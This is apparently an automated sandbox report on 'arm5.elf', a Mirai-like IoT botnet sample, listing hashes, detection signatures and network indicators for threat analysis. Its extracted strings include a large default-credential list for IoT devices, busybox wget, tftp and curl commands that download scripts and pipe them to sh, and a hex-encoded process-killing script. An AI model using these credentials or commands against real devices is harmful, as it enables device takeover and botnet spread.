Linux Analysis Report
arm5.elf

Overview

General Information

Sample name: arm5.elf
Analysis ID: 1540480
MD5: e81117261f952a792693d3c93cd535af
SHA1: f9b8dadaefb39efde74fa30d0e4479a89d61fbda
SHA256: 1ded319558c22390e5df32092eecff3ec11d9b29a47ea69c1ec0ee8522fdcce5
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Detected TCP or UDP traffic on non-standard ports
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: arm5.elf Avira: detected
Source: arm5.elf ReversingLabs: Detection: 42%
Source: arm5.elf String: ash|login|wget|curl|tftp|ntpdate
Source: arm5.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc//maps/lib//dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: arm5.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

barindex
Source: global traffic TCP traffic: 156.244.13.91 ports 61543,1,3,4,5,6
Source: global traffic TCP traffic: 192.168.2.23:35268 -> 156.244.13.91:61543
Source: global traffic TCP traffic: 192.168.2.23:42674 -> 103.253.147.242:7193
Source: /tmp/arm5.elf (PID: 6218) Socket: 127.0.0.1:1234 Jump to behavior
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 196.237.51.122
Source: unknown TCP traffic detected without corresponding DNS query: 196.237.51.122
Source: unknown TCP traffic detected without corresponding DNS query: 158.185.112.198
Source: unknown TCP traffic detected without corresponding DNS query: 209.190.116.181
Source: unknown TCP traffic detected without corresponding DNS query: 158.185.112.198
Source: unknown TCP traffic detected without corresponding DNS query: 203.174.56.230
Source: unknown TCP traffic detected without corresponding DNS query: 209.190.116.181
Source: unknown TCP traffic detected without corresponding DNS query: 203.174.56.230
Source: unknown TCP traffic detected without corresponding DNS query: 131.238.124.239
Source: unknown TCP traffic detected without corresponding DNS query: 205.189.208.138
Source: unknown TCP traffic detected without corresponding DNS query: 131.238.124.239
Source: unknown TCP traffic detected without corresponding DNS query: 205.189.208.138
Source: unknown TCP traffic detected without corresponding DNS query: 186.93.185.52
Source: unknown TCP traffic detected without corresponding DNS query: 16.126.63.208
Source: unknown TCP traffic detected without corresponding DNS query: 186.93.185.52
Source: unknown TCP traffic detected without corresponding DNS query: 116.237.73.32
Source: unknown TCP traffic detected without corresponding DNS query: 16.126.63.208
Source: unknown TCP traffic detected without corresponding DNS query: 31.32.37.82
Source: unknown TCP traffic detected without corresponding DNS query: 116.237.73.32
Source: unknown TCP traffic detected without corresponding DNS query: 186.111.76.80
Source: unknown TCP traffic detected without corresponding DNS query: 31.32.37.82
Source: unknown TCP traffic detected without corresponding DNS query: 53.5.63.151
Source: unknown TCP traffic detected without corresponding DNS query: 186.111.76.80
Source: unknown TCP traffic detected without corresponding DNS query: 207.35.217.45
Source: unknown TCP traffic detected without corresponding DNS query: 53.5.63.151
Source: unknown TCP traffic detected without corresponding DNS query: 129.29.208.19
Source: unknown TCP traffic detected without corresponding DNS query: 207.35.217.45
Source: unknown TCP traffic detected without corresponding DNS query: 85.115.57.238
Source: unknown TCP traffic detected without corresponding DNS query: 129.29.208.19
Source: unknown TCP traffic detected without corresponding DNS query: 85.115.57.238
Source: unknown TCP traffic detected without corresponding DNS query: 86.220.130.163
Source: unknown TCP traffic detected without corresponding DNS query: 86.220.130.163
Source: unknown TCP traffic detected without corresponding DNS query: 170.138.131.118
Source: unknown TCP traffic detected without corresponding DNS query: 16.75.203.149
Source: unknown TCP traffic detected without corresponding DNS query: 217.178.20.53
Source: unknown TCP traffic detected without corresponding DNS query: 170.138.131.118
Source: unknown TCP traffic detected without corresponding DNS query: 16.75.203.149
Source: unknown TCP traffic detected without corresponding DNS query: 129.162.23.72
Source: unknown TCP traffic detected without corresponding DNS query: 217.178.20.53
Source: unknown TCP traffic detected without corresponding DNS query: 9.113.28.229
Source: unknown TCP traffic detected without corresponding DNS query: 214.170.253.117
Source: unknown TCP traffic detected without corresponding DNS query: 129.162.23.72
Source: unknown TCP traffic detected without corresponding DNS query: 218.213.229.17
Source: unknown TCP traffic detected without corresponding DNS query: 9.113.28.229
Source: unknown TCP traffic detected without corresponding DNS query: 38.64.139.234
Source: unknown TCP traffic detected without corresponding DNS query: 214.170.253.117
Source: unknown TCP traffic detected without corresponding DNS query: 43.113.172.27
Source: unknown TCP traffic detected without corresponding DNS query: 218.213.229.17
Source: unknown TCP traffic detected without corresponding DNS query: 75.195.181.95
Source: global traffic DNS traffic detected: DNS query: 2joints.libre
Source: global traffic DNS traffic detected: DNS query: nineteen.libre
Source: arm5.elf String found in binary or memory: http:///curl.sh
Source: arm5.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal60.troj.linELF@0/0@2/0
Source: /tmp/arm5.elf (PID: 6218) Queries kernel information via 'uname': Jump to behavior
Source: arm5.elf, 6218.1.00007fff762b8000.00007fff762d9000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm5.elf
Source: arm5.elf, 6218.1.0000557761d1d000.0000557761e6b000.rw-.sdmp Binary or memory string: awU!/etc/qemu-binfmt/arm
Source: arm5.elf, 6218.1.0000557761d1d000.0000557761e6b000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm5.elf, 6218.1.00007fff762b8000.00007fff762d9000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs